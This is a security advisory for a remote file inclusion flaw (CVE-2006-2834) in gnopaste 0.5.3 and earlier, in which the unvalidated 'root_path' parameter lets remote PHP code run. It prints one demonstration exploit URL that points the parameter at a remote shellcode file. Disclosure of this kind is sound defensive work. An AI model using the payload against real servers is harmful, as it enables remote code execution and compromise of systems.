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Category:   Application (Generic)  >   gnopaste Vendors:   gnopaste.sourceforge.net
gnopaste 'root_path' Include File Bug Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016189
SecurityTracker URL:  http://securitytracker.com/id/1016189
CVE Reference:   CVE-2006-2834   (Links to External Site)
Updated:  Aug 18 2009
Original Entry Date:  May 31 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.5.3 and prior versions
Description:   A vulnerability was reported in gnopaste. A remote user can include and execute arbitrary code on the target system.

The 'includes/common.php' script does not properly validate user-supplied input in the 'root_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/[gnopaste_path]/includes/common.php?root_path=SHELLCODE_URL.txt?

SmokeZ reported this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  sourceforge.net/projects/gnopaste (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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